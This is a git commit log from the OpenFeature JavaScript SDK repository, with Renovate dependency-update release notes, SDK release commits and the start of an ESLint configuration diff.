Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.10.1...v48.10.2)

##### Bug Fixes

- **`check-template-names`:** check for param and returns tags; fixes
[#&#8203;1286](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1286)
([12fca71](12fca71fdc))

###
[`v48.10.1`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.10.1)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.10.0...v48.10.1)

##### Bug Fixes

- add espree as dependency; fixes
[#&#8203;1284](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1284)
([31e0a35](31e0a35382))

###
[`v48.10.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.10.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.9.3...v48.10.0)

##### Features

- **`require-template`, `check-template-names`:** add support
`ClassDeclaration`
([31d3255](31d3255598))
- **`require-template`, `check-template-names`:** add support
`FunctionDeclaration`
([28bc1cb](28bc1cb866))
- **`require-template`, `check-template-names`:** add support
`TSInterfaceDeclaration`
([320a1eb](320a1ebb5c))

###
[`v48.9.3`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.9.3)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.9.2...v48.9.3)

##### Bug Fixes

- **`getJsdocProcessorPlugin`:** ensure package.json file is
consistently located
([87a1270](87a12703b2))

###
[`v48.9.2`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.9.1...2fbd47c3d2b23a41d87b979daa56a648270d3675)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.9.1...v48.9.2)

###
[`v48.9.1`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.9.0...3ba475e589bc1dc83a7f57950378b2da0228e7fc)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.9.0...v48.9.1)

###
[`v48.9.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.9.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.8.3...v48.9.0)

##### Features

- add `check-examples` replacement processor; fixes
[#&#8203;928](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/928)
([6248d59](6248d59a38))

###
[`v48.8.3`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.8.3)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.8.2...v48.8.3)

##### Bug Fixes

- **`require-template`, `check-template-names`:** check
[@&#8203;property](https://togithub.com/property) tags; fixes
[#&#8203;1269](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1269)
([22e3274](22e32743cb))

###
[`v48.8.2`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.8.1...736a23be9fa8816bf4e712d58cbd4fc5a5fd738c)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.8.1...v48.8.2)

###
[`v48.8.1`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.8.1)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.8.0...v48.8.1)

##### Bug Fixes

- **sort-tags:** [@&#8203;template](https://togithub.com/template) must
be before [@&#8203;typedef](https://togithub.com/typedef)
([6fb0b3e](6fb0b3eb07))

###
[`v48.8.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.7.0...f61e5b2487bb38daf76ed9edaccff9e4d14ee53f)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.7.0...v48.8.0)

###
[`v48.7.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.6.0...d46be35b613d6da8f6eb636e8b5ec3533dfdb629)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.6.0...v48.7.0)

###
[`v48.6.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.6.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.5.2...v48.6.0)

##### Features

- new rule `convert-to-jsdoc-comments`; fixes
[#&#8203;1002](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1002)
([d5fa8da](d5fa8da257))

###
[`v48.5.2`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.5.2)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.5.1...v48.5.2)

##### Bug Fixes

- **`require-param`:** proper errors/fixing for succeeding destructured
objects; fixes
[#&#8203;762](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/762)
([394b85f](394b85f3d5))

###
[`v48.5.1`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.5.0...6371c4a3901a44cc05fcf6718a28179087b19d89)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.5.0...v48.5.1)

###
[`v48.5.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.5.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.4.0...v48.5.0)

##### Features

- **`check-param-names`:** check `TSMethodSignature` (as on interface
methods); fixes
[#&#8203;1249](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1249)
([49400e1](49400e15e2))

###
[`v48.4.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.4.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.3.0...v48.4.0)

##### Features

- **`no-types`:** add `TSMethodSignature`; fixes
[#&#8203;1249](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1249)
([1aa3313](1aa3313e69))

###
[`v48.3.0`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.3.0)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.15...v48.3.0)

##### Bug Fixes

- **`no-undefined-types`:** treat variables imported by
`[@import](https://togithub.com/import)` tags as defined; fixes
[#&#8203;1244](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1244)
([54ac4fd](54ac4fd4c5))

##### Features

- **`check-values`:** checks for valid
`[@import](https://togithub.com/import)` syntax
([ad31b14](ad31b14c78))

###
[`v48.2.15`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.2.15)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.14...v48.2.15)

##### Bug Fixes

- Revert "fix(`no-undefined-types`): treat variables imported by
`[@import](https://togithub.com/import)` tags as defined"; fixes
[#&#8203;1246](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1246)
([ce066df](ce066df38e))

###
[`v48.2.14`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.2.14)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.13...v48.2.14)

##### Bug Fixes

- **`no-undefined-types`:** treat variables imported by
`[@import](https://togithub.com/import)` tags as defined; fixes
[#&#8203;1244](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1244)
([34ba2e0](34ba2e01d8))

###
[`v48.2.13`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.2.13)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.12...v48.2.13)

##### Bug Fixes

- **`no-undefined-types`:** prevent linting of "type" within
[@&#8203;import](https://togithub.com/import); fixes
[#&#8203;1242](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1242)
([0bea154](0bea15458c))

###
[`v48.2.12`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.2.12)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.11...v48.2.12)

##### Bug Fixes

- namespace flat config `name`'s
([8603579](8603579b1f))

###
[`v48.2.11`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.2.11)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.10...v48.2.11)

##### Bug Fixes

- avoid inserting `name` for eslintrc configs; fixes
[#&#8203;1239](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1239)
([c2d5a35](c2d5a353e2))

###
[`v48.2.10`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.2.10)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.9...v48.2.10)

##### Bug Fixes

- add names to flat configs
([5429982](5429982d7a))

###
[`v48.2.9`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.2.9)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.8...v48.2.9)

##### Bug Fixes

- **`require-description-complete-sentence`:** regression with heading
exempting; fixes
[#&#8203;1220](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1220)
([fbc9fca](fbc9fca5cf))

###
[`v48.2.8`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.2.8)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.7...v48.2.8)

##### Bug Fixes

- **`require-description-complete-sentence`:** avoid triggering
punctuation warning after Markdown headings; fixes
[#&#8203;1220](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1220)
([e9e4440](e9e444034f))

###
[`v48.2.7`](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.6...fb3e0e6cd2535af323286b56e37bccf519d56920)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.6...v48.2.7)

###
[`v48.2.6`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.2.6)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.5...v48.2.6)

##### Bug Fixes

- **`require-yields`:** avoid error when `ExportNamedDeclaration` has no
`declaration` prop
([93a9415](93a9415858))

###
[`v48.2.5`](https://togithub.com/gajus/eslint-plugin-jsdoc/releases/tag/v48.2.5)

[Compare
Source](https://togithub.com/gajus/eslint-plugin-jsdoc/compare/v48.2.4...v48.2.5)

##### Bug Fixes

- handle deprecated `typeParameters`
([#&#8203;1229](https://togithub.com/gajus/eslint-plugin-jsdoc/issues/1229))
([d417d05](d417d05d94))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View the
[repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zNjMuNSIsInVwZGF0ZWRJblZlciI6IjM3LjQ0MC43IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-08-27 11:12:01 -04:00
renovate[bot] bebacfa061
chore(deps): update dependency prettier to v3.3.3 (#954)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [prettier](https://prettier.io)
([source](https://togithub.com/prettier/prettier)) | [`3.2.5` ->
`3.3.3`](https://renovatebot.com/diffs/npm/prettier/3.2.5/3.3.3) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/prettier/3.3.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/prettier/3.3.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/prettier/3.2.5/3.3.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/prettier/3.2.5/3.3.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>prettier/prettier (prettier)</summary>

###
[`v3.3.3`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#333)

[Compare
Source](https://togithub.com/prettier/prettier/compare/3.3.2...3.3.3)

[diff](https://togithub.com/prettier/prettier/compare/3.3.2...3.3.3)

##### Add parentheses for nullish coalescing in ternary
([#&#8203;16391](https://togithub.com/prettier/prettier/pull/16391) by
[@&#8203;cdignam-segment](https://togithub.com/cdignam-segment))

This change adds clarity to operator precedence.

<!-- prettier-ignore -->

```js
// Input
foo ? bar ?? foo : baz;
foo ?? bar ? a : b;
a ? b : foo ?? bar;

// Prettier 3.3.2
foo ? bar ?? foo : baz;
foo ?? bar ? a : b;
a ? b : foo ?? bar;

// Prettier 3.3.3
foo ? (bar ?? foo) : baz;
(foo ?? bar) ? a : b;
a ? b : (foo ?? bar);
```

##### Add parentheses for decorator expressions
([#&#8203;16458](https://togithub.com/prettier/prettier/pull/16458) by
[@&#8203;y-schneider](https://togithub.com/y-schneider))

Prevent parentheses around member expressions or tagged template
literals from being removed to follow the stricter parsing rules of
TypeScript 5.5.

<!-- prettier-ignore -->

```ts
// Input
@&#8203;(foo`tagged template`)
class X {}

// Prettier 3.3.2
@&#8203;foo`tagged template`
class X {}

// Prettier 3.3.3
@&#8203;(foo`tagged template`)
class X {}
```

##### Support `@let` declaration syntax
([#&#8203;16474](https://togithub.com/prettier/prettier/pull/16474) by
[@&#8203;sosukesuzuki](https://togithub.com/sosukesuzuki))

Adds support for Angular v18 `@let` declaration syntax.

Please see the following code example. The `@let` declaration allows you
to define local variables within the template:

<!-- prettier-ignore -->

```html
@&#8203;let name = 'Frodo';

<h1>Dashboard for {{name}}</h1>
Hello, {{name}}
```

For more details, please refer to the excellent blog post by the Angular
Team: [Introducing @&#8203;let in
Angular](https://blog.angular.dev/introducing-let-in-angular-686f9f383f0f).

We also appreciate the Angular Team for kindly answering our questions
to implement this feature.

###
[`v3.3.2`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#332)

[Compare
Source](https://togithub.com/prettier/prettier/compare/3.3.1...3.3.2)

[diff](https://togithub.com/prettier/prettier/compare/3.3.1...3.3.2)

##### Fix handlebars path expressions starts with `@`
([#&#8203;16358](https://togithub.com/prettier/prettier/pull/16358) by
[@&#8203;Princeyadav05](https://togithub.com/Princeyadav05))

<!-- prettier-ignore -->

```hbs
{{! Input }}
<div>{{@&#8203;x.y.z}}</div>

{{! Prettier 3.3.1 }}
<div>{{@&#8203;x}}</div>

{{! Prettier 3.3.2 }}
<div>{{@&#8203;x.y.z}}</div>
```

###
[`v3.3.1`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#331)

[Compare
Source](https://togithub.com/prettier/prettier/compare/3.3.0...3.3.1)

[diff](https://togithub.com/prettier/prettier/compare/3.3.0...3.3.1)

##### Preserve empty lines in front matter
([#&#8203;16347](https://togithub.com/prettier/prettier/pull/16347) by
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```markdown
<!-- Input -->
---
foo:
  - bar1

  - bar2

  - bar3
---
Markdown

<!-- Prettier 3.3.0 -->

---
foo:
  - bar1
  - bar2
  - bar3
---

Markdown

<!-- Prettier 3.3.1 -->
---
foo:
  - bar1

  - bar2

  - bar3
---

Markdown
```

##### Preserve explicit language in front matter
([#&#8203;16348](https://togithub.com/prettier/prettier/pull/16348) by
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```markdown
<!-- Input -->
---yaml
title: Hello
slug: home
---

<!-- Prettier 3.3.0 -->
---
title: Hello
slug: home
---

<!-- Prettier 3.3.1 -->
---yaml
title: Hello
slug: home
---
```

##### Avoid line breaks in import attributes
([#&#8203;16349](https://togithub.com/prettier/prettier/pull/16349) by
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```jsx
// Input
import something from "./some-very-very-very-very-very-very-very-very-long-path.json" with { type: "json" };

// Prettier 3.3.0
import something from "./some-very-very-very-very-very-very-very-very-long-path.json" with { type:
  "json" };

// Prettier 3.3.1
import something from "./some-very-very-very-very-very-very-very-very-long-path.json" with { type: "json" };
```

###
[`v3.3.0`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#330)

[Compare
Source](https://togithub.com/prettier/prettier/compare/3.2.5...3.3.0)

[diff](https://togithub.com/prettier/prettier/compare/3.2.5...3.3.0)

🔗 [Release Notes](https://prettier.io/blog/2024/06/01/3.3.0.html)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View the
[repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zODguMSIsInVwZGF0ZWRJblZlciI6IjM3LjQzOC4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-08-27 11:11:24 -04:00
renovate[bot] 8d759d8de9
chore(deps): update dependency @types/react to v18.3.4 (#946)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/react](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react))
| [`18.3.1` ->
`18.3.4`](https://renovatebot.com/diffs/npm/@types%2freact/18.3.1/18.3.4)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/18.3.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact/18.3.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact/18.3.1/18.3.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/18.3.1/18.3.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View the
[repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zNTEuMiIsInVwZGF0ZWRJblZlciI6IjM4LjI2LjEiLCJ0YXJnZXRCcmFuY2giOiJtYWluIiwibGFiZWxzIjpbXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-08-27 11:10:12 -04:00
Michael Beemer 429c4ae941
docs(react): update the error message (#978)
## This PR

- updates the example error message

### Notes

The linter used by the documentation expects a language to be used on
all code fences.


https://github.com/open-feature/openfeature.dev/actions/runs/10449600501/job/28932244856?pr=592

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-08-26 13:23:00 -04:00
Juan Bernal 16b0d74340
feat: updated the Metadata type to allow for custom properties (#975)
## This PR
- Updates the `Metadata` type to a `Record` so that Providers can
provide more than just the `name` property as part of the `metadata`.

### Notes
Conversation
[here](https://cloud-native.slack.com/archives/C03J36ZP020/p1721747906370629).

---------

Signed-off-by: Juan Bernal <juanxwtf@gmail.com>
2024-08-23 16:29:55 +00:00
Todd Baert 964d65b775
chore: add assertion for hook context contents (#977)
There's no bug here, but this adds some asserts for a tricky bug I
recently found in the Java SDK:
https://github.com/open-feature/java-sdk/pull/1049

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-08-23 11:23:54 -04:00
OpenFeature Bot 51d43230d9
chore(main): release react-sdk 0.4.3 (#981)
🤖 I have created a release *beep* *boop*
---


##
[0.4.3](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.2...react-sdk-v0.4.3)
(2024-08-22)


### 🐛 Bug Fixes

* race condition in test provider with suspense
([#980](https://github.com/open-feature/js-sdk/issues/980))
([0f187fe](0f187fe0b5))


### 🧹 Chore

* fix flaky test timing
([ad46ade](ad46ade143))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-08-22 15:22:56 -04:00
OpenFeature Bot 6a277efa72
chore(main): release web-sdk 1.2.2 (#982)
🤖 I have created a release *beep* *boop*
---


##
[1.2.2](https://github.com/open-feature/js-sdk/compare/web-sdk-v1.2.1...web-sdk-v1.2.2)
(2024-08-22)


### 🐛 Bug Fixes

* race condition in test provider with suspense
([#980](https://github.com/open-feature/js-sdk/issues/980))
([0f187fe](0f187fe0b5))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-08-22 15:19:23 -04:00
Todd Baert ad46ade143 chore: fix flaky test timing
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-08-22 15:15:42 -04:00
Todd Baert 0f187fe0b5
fix: race condition in test provider with suspense (#980)
Fixes an issues with the React `OpenFeatureTestProvider` where the
provider was not ready until the next event loop tick when the
`flagValueMap` was used.

Also removes the initialization in the client in-memory provider, since
it was only doing some un-needed validation inconsistent with the server
provider.

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-08-22 19:08:38 +00:00
OpenFeature Bot cb4e56ae80
chore(main): release react-sdk 0.4.2 (#974)
🤖 I have created a release *beep* *boop*
---


##
[0.4.2](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.1...react-sdk-v0.4.2)
(2024-07-29)


###  New Features

* add test provider
([#971](https://github.com/open-feature/js-sdk/issues/971))
([1c12d4d](1c12d4d548))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-07-29 14:12:27 -04:00
Todd Baert 1c12d4d548
feat: add test provider (#971)
Adds some testing utilities, specifically an
`<OpenFeatureTestProvider/>` react context provider.

See README for details.

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-07-29 17:52:59 +00:00
OpenFeature Bot a621e6d804
chore(main): release web-sdk 1.2.1 (#966)
🤖 I have created a release *beep* *boop*
---


##
[1.2.1](https://github.com/open-feature/js-sdk/compare/web-sdk-v1.2.0...web-sdk-v1.2.1)
(2024-06-12)


### 🐛 Bug Fixes

* **web-sdk:** pin core version to 1.3.0
([#964](https://github.com/open-feature/js-sdk/issues/964))
([3cde37a](3cde37a5ee))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-06-12 17:01:27 +00:00
Michael Beemer 3cde37a5ee
fix(web-sdk): pin core version to 1.3.0 (#964)
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-06-12 12:46:57 -04:00
OpenFeature Bot d53e2eebe1
chore(main): release react-sdk 0.4.1 (#960)
🤖 I have created a release *beep* *boop*
---


##
[0.4.1](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.0...react-sdk-v0.4.1)
(2024-06-11)


###  New Features

* lower compilation target to es2015
([#957](https://github.com/open-feature/js-sdk/issues/957))
([c2d6c17](c2d6c1761a))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-06-11 12:45:04 -04:00
OpenFeature Bot cffcf6a75f
chore(main): release nestjs-sdk 0.2.1-experimental (#962)
🤖 I have created a release *beep* *boop*
---


##
[0.2.1-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.2.0-experimental...nestjs-sdk-v0.2.1-experimental)
(2024-06-11)


###  New Features

* lower compilation target to es2015
([#957](https://github.com/open-feature/js-sdk/issues/957))
([c2d6c17](c2d6c1761a))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-06-11 12:40:46 -04:00
OpenFeature Bot a91b42b147
chore(main): release web-sdk 1.2.0 (#961)
🤖 I have created a release *beep* *boop*
---


##
[1.2.0](https://github.com/open-feature/js-sdk/compare/web-sdk-v1.1.0...web-sdk-v1.2.0)
(2024-06-11)


###  New Features

* lower compilation target to es2015
([#957](https://github.com/open-feature/js-sdk/issues/957))
([c2d6c17](c2d6c1761a))


### 🧹 Chore

* **main:** release core 1.3.0
([#958](https://github.com/open-feature/js-sdk/issues/958))
([25086c5](25086c5456))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-06-11 11:30:33 -04:00
OpenFeature Bot a3a9b22bef
chore(main): release server-sdk 1.15.0 (#959)
🤖 I have created a release *beep* *boop*
---


##
[1.15.0](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.14.0...server-sdk-v1.15.0)
(2024-06-11)


###  New Features

* lower compilation target to es2015
([#957](https://github.com/open-feature/js-sdk/issues/957))
([c2d6c17](c2d6c1761a))


### 🧹 Chore

* **main:** release core 1.3.0
([#958](https://github.com/open-feature/js-sdk/issues/958))
([25086c5](25086c5456))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-06-11 10:50:06 -04:00
OpenFeature Bot 25086c5456
chore(main): release core 1.3.0 (#958)
🤖 I have created a release *beep* *boop*
---


##
[1.3.0](https://github.com/open-feature/js-sdk/compare/core-v1.2.0...core-v1.3.0)
(2024-06-11)


###  New Features

* lower compilation target to es2015
([#957](https://github.com/open-feature/js-sdk/issues/957))
([c2d6c17](c2d6c1761a))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
2024-06-11 13:21:30 +00:00
Michael Beemer c2d6c1761a
feat: lower compilation target to es2015 (#957)
## This PR

- replace the es2022 error cause with a custom implementation
- lower compilation target from es2022 to es2015

### Related Issues

Fixes #956

### Notes

The tests pass, but I still want to manually build and test the outputs
in a real application to ensure everything works as expected.

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-06-11 12:47:19 +00:00
203 changed files with 22038 additions and 7292 deletions

View File

@ -1,63 +1,54 @@
{
"env": {
"browser": true,
"es2021": true
},
"ignorePatterns": ["**/dist/**/*"],
"extends": [
"eslint:recommended",
"plugin:@typescript-eslint/recommended",
"prettier",
"plugin:jsdoc/recommended"
],
"parser": "@typescript-eslint/parser",
"parserOptions": {
"ecmaVersion": "latest",
"sourceType": "module"
},
"plugins": [
"@typescript-eslint",
"check-file",
"jsdoc"
],
"rules": {
"jsdoc/require-jsdoc": [
"warn",
{
"publicOnly": true
}
],
"jsdoc/check-tag-names": [
"warn",
{
"definedTags": [
"experimental"
]
}
],
"linebreak-style": [
"error",
"unix"
],
"quotes": [
"error",
"single",
{
"avoidEscape": true
}
],
"semi": [
"error",
"always"
],
"check-file/filename-naming-convention": [
"error",
{
"**/*.{js,ts}": "KEBAB_CASE"
},
{
"ignoreMiddleExtensions": true
}
]
}
}
"env": {
"browser": true,
"es2021": true
},
"ignorePatterns": ["**/dist/**/*"],
"extends": ["eslint:recommended", "plugin:@typescript-eslint/recommended", "prettier", "plugin:jsdoc/recommended"],
"parser": "@typescript-eslint/parser",
"parserOptions": {
"ecmaVersion": "latest",
"sourceType": "module"
},
"plugins": ["@typescript-eslint", "check-file", "jsdoc"],
"rules": {
"@typescript-eslint/consistent-type-imports": [
"error",
{
"disallowTypeAnnotations": true,
"fixStyle": "separate-type-imports",
"prefer": "type-imports"
}
],
"jsdoc/require-jsdoc": [
"warn",
{
"publicOnly": true
}
],
"jsdoc/check-tag-names": [
"warn",
{
